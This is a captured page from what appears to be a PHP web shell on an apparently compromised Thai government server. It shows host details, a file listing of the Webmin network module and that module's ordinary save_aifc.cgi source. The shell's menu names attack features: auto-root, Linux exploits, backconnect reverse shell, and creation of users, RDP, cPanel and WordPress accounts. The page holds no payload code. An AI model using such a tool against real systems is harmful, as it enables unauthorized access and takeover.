Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
net /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
5.48
KB
-rw-r--r--
acl_security.pl
2.92
KB
-rwxr-xr-x
apply.cgi
184
B
-rwxr-xr-x
backup_config.pl
1005
B
-rwxr-xr-x
cgi_args.pl
752
B
-rwxr-xr-x
cobalt-linux-lib.pl
30.48
KB
-rwxr-xr-x
coherent-linux-lib.pl
30.48
KB
-rwxr-xr-x
config
48
B
-rw-r--r--
config-ALL-linux
48
B
-rw-r--r--
config-cygwin
82
B
-rw-r--r--
config-freebsd
48
B
-rw-r--r--
config-macos
48
B
-rw-r--r--
config-netbsd
48
B
-rw-r--r--
config-openbsd
48
B
-rw-r--r--
config-solaris
79
B
-rw-r--r--
config-syno-linux
48
B
-rw-r--r--
config-unixware
48
B
-rw-r--r--
config-windows
78
B
-rw-r--r--
config.info
193
B
-rw-r--r--
config.info.ca
238
B
-rw-r--r--
config.info.ca.UTF-8
241
B
-rw-r--r--
config.info.cz
195
B
-rw-r--r--
config.info.cz.UTF-8
205
B
-rw-r--r--
config.info.de
219
B
-rw-r--r--
config.info.de.UTF-8
219
B
-rw-r--r--
config.info.es
187
B
-rw-r--r--
config.info.es.UTF-8
187
B
-rw-r--r--
config.info.fa
262
B
-rw-r--r--
config.info.fr
53
B
-rw-r--r--
config.info.fr.UTF-8
53
B
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.ja_JP.UTF-8
68
B
-rw-r--r--
config.info.ja_JP.euc
50
B
-rw-r--r--
config.info.nl
197
B
-rw-r--r--
config.info.nl.UTF-8
197
B
-rw-r--r--
config.info.no
208
B
-rw-r--r--
config.info.no.UTF-8
208
B
-rw-r--r--
config.info.pl
234
B
-rw-r--r--
config.info.pl.UTF-8
240
B
-rw-r--r--
config.info.pt_BR
265
B
-rw-r--r--
config.info.pt_BR.UTF-8
265
B
-rw-r--r--
config.info.ru.UTF-8
361
B
-rw-r--r--
config.info.ru_RU
231
B
-rw-r--r--
config.info.ru_RU.UTF-8
361
B
-rw-r--r--
config.info.ru_SU
231
B
-rw-r--r--
config.info.sk
220
B
-rw-r--r--
config.info.sk.UTF-8
225
B
-rw-r--r--
config.info.sv
42
B
-rw-r--r--
config.info.sv.UTF-8
42
B
-rw-r--r--
config.info.tr
62
B
-rw-r--r--
config.info.uk_UA
56
B
-rw-r--r--
config.info.uk_UA.UTF-8
86
B
-rw-r--r--
config.info.zh_CN
34
B
-rw-r--r--
config.info.zh_CN.UTF-8
43
B
-rw-r--r--
config.info.zh_TW.Big5
34
B
-rw-r--r--
config.info.zh_TW.UTF-8
44
B
-rw-r--r--
create_route.cgi
1004
B
-rwxr-xr-x
cygwin-lib.pl
11.23
KB
-rwxr-xr-x
debian-linux-lib.pl
32.52
KB
-rwxr-xr-x
defaultacl
105
B
-rw-r--r--
delete_aifcs.cgi
537
B
-rwxr-xr-x
delete_bifcs.cgi
1.44
KB
-rwxr-xr-x
delete_hosts.cgi
523
B
-rwxr-xr-x
delete_ipnodes.cgi
542
B
-rwxr-xr-x
delete_routes.cgi
458
B
-rwxr-xr-x
edit_aifc.cgi
5.1
KB
-rwxr-xr-x
edit_bifc.cgi
10.31
KB
-rwxr-xr-x
edit_host.cgi
1.13
KB
-rwxr-xr-x
edit_ipnode.cgi
1.04
KB
-rwxr-xr-x
edit_range.cgi
1.34
KB
-rwxr-xr-x
freebsd-lib.pl
19.15
KB
-rwxr-xr-x
gentoo-linux-lib.pl
8.47
KB
-rwxr-xr-x
index.cgi
1018
B
-rwxr-xr-x
interface_chooser.cgi
3.8
KB
-rwxr-xr-x
linux-lib.pl
26.19
KB
-rwxr-xr-x
list_dns.cgi
2.3
KB
-rwxr-xr-x
list_hosts.cgi
1.36
KB
-rwxr-xr-x
list_ifcs.cgi
8.19
KB
-rwxr-xr-x
list_ipnodes.cgi
1.07
KB
-rwxr-xr-x
list_routes.cgi
3.37
KB
-rwxr-xr-x
log_parser.pl
1.24
KB
-rwxr-xr-x
macos-lib.pl
11.47
KB
-rwxr-xr-x
mandrake-linux-lib.pl
30.48
KB
-rwxr-xr-x
mod_aifc.cgi
720
B
-rwxr-xr-x
module.info
485
B
-rw-r--r--
module.info.ca
125
B
-rw-r--r--
module.info.ca.UTF-8
139
B
-rw-r--r--
module.info.cz
25
B
-rw-r--r--
module.info.cz.UTF-8
33
B
-rw-r--r--
module.info.de
121
B
-rw-r--r--
module.info.de.UTF-8
133
B
-rw-r--r--
module.info.es
29
B
-rw-r--r--
module.info.es.UTF-8
36
B
-rw-r--r--
module.info.fr
29
B
-rw-r--r--
module.info.fr.UTF-8
36
B
-rw-r--r--
module.info.hu
29
B
-rw-r--r--
module.info.hu.UTF-8
40
B
-rw-r--r--
module.info.it
28
B
-rw-r--r--
module.info.it.UTF-8
34
B
-rw-r--r--
module.info.ja_JP.UTF-8
42
B
-rw-r--r--
module.info.ja_JP.euc
32
B
-rw-r--r--
module.info.ko_KR.UTF-8
37
B
-rw-r--r--
module.info.ko_KR.euc
29
B
-rw-r--r--
module.info.ms_MY
142
B
-rw-r--r--
module.info.ms_MY.UTF-8
154
B
-rw-r--r--
module.info.nl
29
B
-rw-r--r--
module.info.nl.UTF-8
35
B
-rw-r--r--
module.info.no
31
B
-rw-r--r--
module.info.no.UTF-8
37
B
-rw-r--r--
module.info.pl
121
B
-rw-r--r--
module.info.pl.UTF-8
134
B
-rw-r--r--
module.info.pt
29
B
-rw-r--r--
module.info.pt.UTF-8
37
B
-rw-r--r--
module.info.pt_BR
42
B
-rw-r--r--
module.info.pt_BR.UTF-8
48
B
-rw-r--r--
module.info.ru.UTF-8
42
B
-rw-r--r--
module.info.ru_RU
26
B
-rw-r--r--
module.info.ru_RU.UTF-8
45
B
-rw-r--r--
module.info.ru_SU
26
B
-rw-r--r--
module.info.sk
27
B
-rw-r--r--
module.info.sk.UTF-8
34
B
-rw-r--r--
module.info.sv
30
B
-rw-r--r--
module.info.sv.UTF-8
37
B
-rw-r--r--
module.info.tr
26
B
-rw-r--r--
module.info.zh_CN
20
B
-rw-r--r--
module.info.zh_TW.Big5
25
B
-rw-r--r--
msc-linux-lib.pl
30.48
KB
-rwxr-xr-x
net-lib.pl
11.48
KB
-rwxr-xr-x
netbsd-lib.pl
19.15
KB
-rwxr-xr-x
netplan-lib.pl
16.76
KB
-rw-r--r--
open-linux-lib.pl
7.13
KB
-rwxr-xr-x
openbsd-lib.pl
12.53
KB
-rwxr-xr-x
openmamba-linux-lib.pl
30.48
KB
-rwxr-xr-x
pardus-linux-lib.pl
30.48
KB
-rwxr-xr-x
rbac-mapping
180
B
-rw-r--r--
rc.inet1
1.95
KB
-rw-r--r--
redhat-linux-lib.pl
30.48
KB
-rwxr-xr-x
save_aifc.cgi
5.62
KB
-rwxr-xr-x
save_bifc.cgi
9.31
KB
-rwxr-xr-x
save_dns.cgi
3.14
KB
-rwxr-xr-x
save_host.cgi
1.18
KB
-rwxr-xr-x
save_ipnode.cgi
1.23
KB
-rwxr-xr-x
save_range.cgi
1.42
KB
-rwxr-xr-x
save_routes.cgi
283
B
-rwxr-xr-x
slackware-linux-9.1-ALL-lib.pl
7.8
KB
-rwxr-xr-x
slackware-linux-lib.pl
6.66
KB
-rwxr-xr-x
solaris-lib.pl
20.71
KB
-rwxr-xr-x
suse-linux-8.0-lib.pl
7.18
KB
-rwxr-xr-x
suse-linux-8.2-lib.pl
7.18
KB
-rwxr-xr-x
suse-linux-9.0-lib.pl
8.61
KB
-rwxr-xr-x
suse-linux-9.1-lib.pl
8.61
KB
-rwxr-xr-x
suse-linux-9.2-ALL-lib.pl
11.1
KB
-rwxr-xr-x
suse-linux-lib.pl
8.96
KB
-rwxr-xr-x
trustix-linux-lib.pl
30.48
KB
-rwxr-xr-x
turbo-linux-lib.pl
30.48
KB
-rwxr-xr-x
united-linux-lib.pl
7.18
KB
-rwxr-xr-x
unixware-lib.pl
9.83
KB
-rwxr-xr-x
windows-lib.pl
11.23
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : save_aifc.cgi
#!/usr/bin/perl # save_aifc.cgi # Save, create or delete an active interface require './net-lib.pl'; &ReadParse(); @acts = &active_interfaces(1); if ($in{'delete'}) { # delete an interface &error_setup($text{'aifc_err1'}); $a = $acts[$in{'idx'}]; &can_iface($a) || &error($text{'ifcs_ecannot_this'}); &deactivate_interface($a); &webmin_log("delete", "aifc", $a->{'fullname'}, $a); } else { # Validate and save inputs &error_setup($text{'aifc_err2'}); if (!$in{'new'}) { # Editing existing interface $olda = $acts[$in{'idx'}]; &can_iface($olda) || &error($text{'ifcs_ecannot_this'}); $a->{'name'} = $olda->{'name'}; $a->{'fullname'} = $olda->{'fullname'}; $a->{'virtual'} = $olda->{'virtual'} if (defined($olda->{'virtual'})); } elsif (defined($in{'virtual'})) { # creating a virtual interface $in{'virtual'} =~ /^\d+$/ || &error($text{'aifc_evirt'}); $in{'virtual'} >= $min_virtual_number || &error(&text('aifc_evirtmin', $min_virtual_number)); foreach $ea (@acts) { if ($ea->{'name'} eq $in{'name'} && $ea->{'virtual'} eq $in{'virtual'}) { &error(&text('aifc_evirtdup', "$in{'name'}:$in{'virtual'}")); } } $a->{'name'} = $in{'name'}; $a->{'virtual'} = $in{'virtual'}; $a->{'fullname'} = $a->{'name'}.":".$a->{'virtual'}; &can_create_iface() || &error($text{'ifcs_ecannot'}); &can_iface($a) || &error($text{'ifcs_ecannot'}); } elsif ($in{'name'} =~ /^([a-z]+\d*(s\d*)?(\.\d+)?):(\d+)$/) { # also creating a virtual interface foreach $ea (@acts) { if ($ea->{'name'} eq $1 && $ea->{'virtual'} eq $3) { &error(&text('aifc_evirtdup', $in{'name'})); } } $3 >= $min_virtual_number || &error(&text('aifc_evirtmin', $min_virtual_number)); $a->{'name'} = $1; $a->{'virtual'} = $3; $a->{'fullname'} = $a->{'name'}.":".$a->{'virtual'}; &can_create_iface() || &error($text{'ifcs_ecannot'}); &can_iface($a) || &error($text{'ifcs_ecannot'}); } elsif ($in{'name'} =~ /^[a-z]+\d*(s\d+)?(\.\d+)?$/) { # creating a real interface foreach $ea (@acts) { if ($ea->{'name'} eq $in{'name'}) { &error(&text('aifc_edup', $in{'name'})); } } $a->{'name'} = $in{'name'}; $a->{'fullname'} = $in{'name'}; &can_create_iface() || &error($text{'ifcs_ecannot'}); &can_iface($a) || &error($text{'ifcs_ecannot'}); } else { &error($text{'aifc_ename'}); } # Validate and store inputs &check_ipaddress_any($in{'address'}) || &error(&text('aifc_eip', $in{'address'})); $a->{'address'} = $in{'address'}; # Check for address clash $allow_clash = defined(&allow_interface_clash) ? &allow_interface_clash($a, 0) : 1; if (!$allow_clash && ($in{'new'} || $olda->{'address'} ne $a->{'address'})) { ($clash) = grep { $_->{'address'} eq $a->{'address'} } @acts; $clash && &error(&text('aifc_eclash', $clash->{'fullname'})); } if ($virtual_netmask && $a->{'virtual'} ne "") { # Always use this netmask for virtuals $a->{'netmask'} = $virtual_netmask; } elsif (!$access{'netmask'}) { # Use default netmask $a->{'netmask'} = $in{'new'} ? $config{'def_netmask'} || "255.255.255.0" : $olda->{'netmask'}; } elsif (!$in{'netmask_def'}) { &check_netmask($in{'netmask'},$a->{'address'}) || &error(&text('aifc_emask', $in{'netmask'})); $a->{'netmask'} = $in{'netmask'}; } if (!$access{'broadcast'}) { # Compute broadcast $a->{'broadcast'} = $in{'new'} ? &compute_broadcast($a->{'address'}, $a->{'netmask'}) : $olda->{'broadcast'}; } elsif (!$in{'broadcast_def'}) { &check_ipaddress_any($in{'broadcast'}) || &error(&text('aifc_ebroad', $in{'broadcast'})); $a->{'broadcast'} = $in{'broadcast'}; } if (!$access{'mtu'}) { # Use default MTU $a->{'mtu'} = $in{'new'} ? $config{'def_mtu'} : $olda->{'mtu'}; } elsif (!$in{'mtu_def'}) { $in{'mtu'} =~ /^\d+$/ || &error(&text('aifc_emtu', $in{'mtu'})); $a->{'mtu'} = $in{'mtu'} if ($olda->{'mtu'} ne $in{'mtu'}); } # Save active flag if (!$access{'up'}) { $a->{'up'} = $in{'new'} ? 1 : $olda->{'up'}; } elsif ($in{'up'}) { $a->{'up'}++; } # Save IPv6 addresses if (&supports_address6($a) && $in{'mode6'} eq 'address') { # Has IPv6 addresses @address6 = ( ); @netmask6 = ( ); %clash6 = ( ); foreach $eb (@acts) { if ($eb->{'fullname'} ne $a->{'fullname'}) { foreach $a6 (@{$eb->{'address6'}}) { $clash6{$a6} = $eb; } } } for($i=0; defined($in{'address6_'.$i}); $i++) { next if ($in{'address6_'.$i} !~ /\S/); &check_ip6address($in{'address6_'.$i}) || &error(&text('aifc_eaddress6', $i+1)); $c = $clash6{$in{'address6_'.$i}}; $c && &error(&text('aifc_eclash6', $i+1, $c->{'name'})); push(@address6, $in{'address6_'.$i}); $in{'netmask6_'.$i} =~ /^\d+$/ && $in{'netmask6_'.$i} > 0 && $in{'netmask6_'.$i} <= 128 || &error(&text('aifc_enetmask6', $i+1)); push(@netmask6, $in{'netmask6_'.$i}); $clash6{$in{'address6_'.$i}} = $a; } @address6 || &error($text{'aifc_eaddresses6'}); $a->{'address6'} = \@address6; $a->{'netmask6'} = \@netmask6; } elsif (&supports_address6($a) && $in{'mode6'} eq 'none') { # IPv6 addresses disabled delete($a->{'address6'}); delete($a->{'netmask6'}); } if (!$in{'ether_def'} && $a->{'virtual'} eq "" && &iface_hardware($a->{'name'})) { $in{'ether'} =~ /^[A-Fa-f0-9:]+$/ || &error(&text('aifc_ehard', $in{'ether'})); $a->{'ether'} = $in{'ether'} if ($olda->{'ether'} ne $in{'ether'}); } $a->{'fullname'} = $a->{'name'}. ($a->{'virtual'} eq '' ? '' : ':'.$a->{'virtual'}); # Bring it up &activate_interface($a); &webmin_log($in{'new'} ? 'create' : 'modify', "aifc", $a->{'fullname'}, $a); } &redirect("list_ifcs.cgi?mode=active");
Close